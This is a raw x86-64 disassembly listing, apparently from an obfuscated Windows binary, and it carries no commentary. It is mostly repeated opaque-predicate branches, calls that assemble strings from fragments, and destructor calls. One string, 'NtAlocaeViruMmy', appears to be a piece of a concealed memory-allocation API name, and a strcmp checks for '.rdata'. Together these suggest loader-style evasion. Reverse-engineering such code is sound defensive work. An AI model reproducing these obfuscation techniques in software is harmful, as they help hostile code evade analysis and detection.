jmp 0x140055153
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3dc0]
lea rdx, [rbp + 0x3da0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fbf0
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x47dbc2b6
sub edx, 1
add edx, 0x47dbc2b6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fc34
jmp 0x140055158
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x2853c88d
sub edx, 1
add edx, 0x2853c88d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fc78
jmp 0x140055158
sub rsp, 0x20
lea r8, [0x1401bcb15]
lea rcx, [rbp + 0x3de0]
lea rdx, [rbp + 0x3dc0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fc9f
sub rsp, 0x20
lea r8, [0x1401bcb0b]
lea rcx, [rbp + 0x3e00]
lea rdx, [rbp + 0x3de0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fcc6
sub rsp, 0x20
lea r8, [0x1401bcb05]
lea rcx, [rbp + 0x3e20]
lea rdx, [rbp + 0x3e00]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fced
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x64ad4d92
sub edx, 1
add edx, 0x64ad4d92
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000fd64
jmp 0x14005515d
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fda3
jmp 0x14005515d
sub rsp, 0x20
lea r8, [0x1401bcb17]
lea rcx, [rbp + 0x3e40]
lea rdx, [rbp + 0x3e20]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fdca
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x3e60]
lea rdx, [rbp + 0x3e40]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fdf1
sub rsp, 0x20
lea r8, [0x1401bcb19]
lea rcx, [rbp + 0x3e80]
lea rdx, [rbp + 0x3e60]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fe18
sub rsp, 0x20
lea r8, [0x1401bcb07]
lea rcx, [rbp + 0x3ea0]
lea rdx, [rbp + 0x3e80]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fe3f
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xbeb39954
sub edx, 1
sub edx, 0xbeb39954
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000feb6
jmp 0x140055162
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000ff28
jmp 0x140055162
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x3ec0]
lea rdx, [rbp + 0x3ea0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ff4f
sub rsp, 0x20
lea r8, [0x1401bcb1b]
lea rcx, [rbp + 0x3ee0]
lea rdx, [rbp + 0x3ec0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ff76
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000ffe8
jmp 0x140055167
lea rcx, [rbp + 0x41f8]
lea rdx, [rbp + 0x3ee0]
sub rsp, 0x20
call fcn.1401103e0
add rsp, 0x20
lea rcx, [rbp + 0x3ee0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ec0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ea0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e80]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e60]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e40]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e20]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e00]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3de0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3dc0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3da0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xd171ecd2
sub edx, 1
sub edx, 0xd171ecd2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140010156
jmp 0x140055167
jmp 0x14001015b
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x1400101cd
jmp 0x140055263
lea rcx, [rbp + 0x3d80]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d60]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d40]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d20]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d00]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ce0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3cc0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ca0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x1400102df
jmp 0x140055263
jmp 0x1400102e4
sub rsp, 0x20
lea rcx, [rbp + 0x3c80]
call fcn.140110070
lea rcx, [rbp + 0x3c78]
call fcn.1400cb260
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp + 0x3c58]
lea rdx, [rbp + 0x41f8]
call fcn.14010e970
add rsp, 0x20
jmp 0x140010324
mov rax, qword [rbp + 0x4218]
mov qword [rbp + 0x1b58], rax
mov rax, qword [rbp + 0x4258]
mov qword [rbp + 0x1b60], rax
mov rax, qword [rbp + 0x4230]
mov qword [rbp + 0x1b68], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x19f9f680
sub edx, 1
add edx, 0x19f9f680
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400103c5
jmp 0x140055308
mov rax, qword [rbp + 0x4228]
mov qword [rbp + 0x1b50], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x55a13b5c
sub edx, 1
sub edx, 0x55a13b5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14001044a
jmp 0x140055308
jmp 0x14001044f
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14001048e
jmp 0x14005530d
mov rax, qword [rbp + 0x42f8]
mov qword [rbp + 0x1b48], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x52c1b0ed
sub edx, 1
sub edx, 0x52c1b0ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400104e0
jmp 0x14005530d
mov r9, qword [rbp + 0x1b68]
mov r8, qword [rbp + 0x1b60]
mov rdx, qword [rbp + 0x1b58]
mov rcx, qword [rbp + 0x1b50]
mov r10, qword [rbp + 0x1b48]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r10
mov qword [rax + 0x20], rcx
lea rcx, [rbp + 0x3c58]
call fcn.140001a00
add rsp, 0x30
mov dword [rbp + 0x1b44], eax
jmp 0x14001052d
mov eax, dword [rbp + 0x1b44]
mov dword [rbp + 0x3f20], eax
lea rcx, [rbp + 0x3c58]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x41f8]
sub rsp, 0x20
call fcn.1400880a0
add rsp, 0x20
mov qword [rbp + 0x1b38], rax
mov eax, dword [rbp + 0x3f20]
mov dword [rbp + 0x1b40], eax
mov edx, dword [rbp + 0x1b40]
lea rax, [0x1401bcb35]
lea rcx, [0x1401bcb30]
cmp edx, 0
cmovne rax, rcx
mov qword [rbp + 0x1b30], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400105d5
jmp 0x140055312
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140010614
jmp 0x140055312
mov r8, qword [rbp + 0x1b30]
mov rdx, qword [rbp + 0x1b38]
sub rsp, 0x20
lea rcx, [0x1401bcb1d]
call fcn.140009ac0
add rsp, 0x20
jmp 0x14001063b
lea rcx, [rbp + 0x3990]
sub rsp, 0x20
call fcn.1400cb230
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
lea rcx, [rbp + 0x3998]
lea r8, [rbp + 0x3990]
call fcn.14010fd20
add rsp, 0x20
jmp 0x140010676
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x39b8]
lea rdx, [rbp + 0x3998]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14001069d
sub rsp, 0x20
lea r8, [0x1401bcb3d]
lea rcx, [rbp + 0x39d8]
lea rdx, [rbp + 0x39b8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400106c4
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x39f8]
lea rdx, [rbp + 0x39d8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400106eb
sub rsp, 0x20
lea r8, [0x1401bcb07]
lea rcx, [rbp + 0x3a18]
lea rdx, [rbp + 0x39f8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010712
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3a38]
lea rdx, [rbp + 0x3a18]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010739
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x3a58]
lea rdx, [rbp + 0x3a38]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010760
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400107d2
jmp 0x140055317
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140010811
jmp 0x140055317
sub rsp, 0x20
lea r8, [0x1401bcb09]
lea rcx, [rbp + 0x3a78]
lea rdx, [rbp + 0x3a58]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010838
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3a98]
lea rdx, [rbp + 0x3a78]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14001085f
sub rsp, 0x20
lea r8, [0x1401bcb0f]
lea rcx, [rbp + 0x3ab8]
lea rdx, [rbp + 0x3a98]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010886
sub rsp, 0x20
lea r8, [0x1401bcb11]
lea rcx, [rbp + 0x3ad8]
lea rdx, [rbp + 0x3ab8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400108ad
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x3af8]
lea rdx, [rbp + 0x3ad8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400108d4
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x84ea1c5
sub edx, 1
add edx, 0x84ea1c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140010918
jmp 0x14005531c
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xfc7c1fdc
sub edx, 1
sub edx, 0xfc7c1fdc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14001095c
jmp 0x14005531c
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3b18]
lea rdx, [rbp + 0x3af8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010983
sub rsp, 0x20
lea r8, [0x1401bcb15]
lea rcx, [rbp + 0x3b38]
lea rdx, [rbp + 0x3b18]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400109aa
sub rsp, 0x20
lea r8, [0x1401bcb0b]
lea rcx, [rbp + 0x3b58]
lea rdx, [rbp + 0x3b38]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400109d1
sub rsp, 0x20
lea r8, [0x1401bcb05]
lea rcx, [rbp + 0x3b78]
lea rdx, [rbp + 0x3b58]
call fcn.1401233a0
add rsp, 0x20
jmp 0x1400109f8
sub rsp, 0x20
lea r8, [0x1401bcb17]
lea rcx, [rbp + 0x3b98]
lea rdx, [rbp + 0x3b78]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010a1f
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x3bb8]
lea rdx, [rbp + 0x3b98]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010a46
sub rsp, 0x20
lea r8, [0x1401bcb19]
lea rcx, [rbp + 0x3bd8]
lea rdx, [rbp + 0x3bb8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x140010a6d
jmp 0x14000d157
jmp 0x14000e6d3
jmp 0x14000e79f
mov rcx, qword [rbp + 0x1bd0]
sub rsp, 0x20
lea rdx, str..rdata
call sub.msvcrt.dll_strcmp
add rsp, 0x20
jmp 0x14000e893
lea rcx, [rbp + 0x3f30]
sub rsp, 0x20
call fcn.1400cb230
add rsp, 0x20
jmp 0x14000ea5c
jmp 0x14000eb9b
jmp 0x14000ecc1
jmp 0x14000ee6d
jmp 0x14000efcb
jmp 0x14000f0fb
jmp 0x14000f20b
jmp 0x14000f336
lea rcx, [rbp + 0x4018]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ff8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3fd8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3fb8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f98]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f78]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f58]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f38]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f30]
sub rsp, 0x20
call fcn.1400cb260
add rsp, 0x20
jmp 0x14000f552
jmp 0x14000f767
lea rcx, [rbp + 0x3c78]
sub rsp, 0x20
call fcn.1400cb230
add rsp, 0x20
jmp 0x14000f8a3
jmp 0x14000fa2e
jmp 0x14000fb85
jmp 0x14000fc34
jmp 0x14000fd64
jmp 0x14000feb6
lea rcx, [rbp + 0x41f8]
lea rdx, [rbp + 0x3ee0]
sub rsp, 0x20
call fcn.1401103e0
add rsp, 0x20
lea rcx, [rbp + 0x3ee0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ec0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ea0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e80]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e60]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e40]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e20]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3e00]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3de0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3dc0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3da0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
jmp 0x14000ffe8
lea rcx, [rbp + 0x3d80]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d60]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d40]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d20]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3d00]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ce0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3cc0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ca0]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
jmp 0x1400101cd
jmp 0x1400103c5
jmp 0x14001048e
jmp 0x1400105d5
jmp 0x1400107d2
jmp 0x140010918